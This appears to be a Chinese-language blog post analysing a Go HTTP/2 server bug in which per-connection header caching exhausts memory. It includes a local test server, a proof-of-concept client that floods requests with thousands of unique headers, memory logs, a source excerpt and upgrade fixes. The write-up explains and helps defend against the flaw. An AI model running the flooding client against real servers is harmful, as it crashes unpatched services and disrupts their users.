启动httpserver
标准库启动一个支持http/2的服务,需要开启tls认证,否则只能使用HTTP/2 Cleartext 也就是golang.org/x/net/http2/h2c来做一个无需tls认证的http/2服务。这里使用标准库 开启tls认证的http服务。
package main import ( "fmt" "log" "net/http" "runtime" "sync/atomic" "time" ) var requestNum uint32 func main() { srv := &http.Server{ Addr: "127.0.0.1:2333", Handler: http.HandlerFunc(hello), } go func() { ticker := time.NewTicker(time.Second) var stat runtime.MemStats for { <-ticker.C runtime.ReadMemStats(&stat) fmt.Printf("Alloc: %d Bytes, Request Number: %d \n", stat.Alloc, atomic.LoadUint32(&requestNum)) } }() log.Fatal(srv.ListenAndServeTLS("server.crt", "server.key")) } func hello(w http.ResponseWriter, r *http.Request) { atomic.AddUint32(&requestNum, 1) }
client调用测试
由于是tls认证开启,所以client也需要携带证书来发起请求,当然也可以关闭认证。
var clt = &http.Client{ Timeout: 5 * time.Second, } clt.Transport = &http2.Transport{TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, }} ticker := time.NewTicker(10 * time.Millisecond) for i := 0; i < 10; i++{ req, err := http.NewRequest("GET", "https://localhost:2333", nil) if err != nil { log.Fatal(err) } for j := 0; j < 1024; j++ { req.Header.Set(fmt.Sprintf("header-header-header-header-foo-header-header-header-header-foo%d-bar%d", i, j), "foo-bar") } resp, err := clt.Do(req) if err != nil { log.Fatal(err) } fmt.Println("success,", resp.Proto) <-ticker.C }
可以看到随着请求的次数增加,内存呈快速增长,很快就可以达到oom的结果。
Alloc: 229440 Bytes, Request Number: 0 Alloc: 229456 Bytes, Request Number: 0 Alloc: 229744 Bytes, Request Number: 0 Alloc: 229760 Bytes, Request Number: 0 Alloc: 283328 Bytes, Request Number: 0 Alloc: 31783768 Bytes, Request Number: 101 Alloc: 62124440 Bytes, Request Number: 201 Alloc: 117848088 Bytes, Request Number: 300 Alloc: 123038304 Bytes, Request Number: 400 Alloc: 175361880 Bytes, Request Number: 497 Alloc: 233078672 Bytes, Request Number: 597 Alloc: 182120880 Bytes, Request Number: 696
代码浅析
在源代码src/net/http/h2_bundle.go(GO.16)或http2/server.go(GO.17)代码中,可以看到下面代码
func (sc *http2serverConn) canonicalHeader(v string) string { sc.serveG.check() http2buildCommonHeaderMapsOnce() cv, ok := http2commonCanonHeader[v] if ok { return cv } cv, ok = sc.canonHeader[v] if ok { return cv } if sc.canonHeader == nil { sc.canonHeader = make(map[string]string) } cv = CanonicalHeaderKey(v) sc.canonHeader[v] = cv // here println(len(sc.canonHeader)) return cv }
在代码中可以看见,header进行转换过程中,当前连接中的header保存在canonHeader的map中,只要单连接不断开,并且一直发起http请求,携带大量随机header,就会导致oom以至于server crash掉。
解决方案
- 升级golang版本到1.17.5或者1.16.12
- 启动服务时携带GODEBUG=http2server=0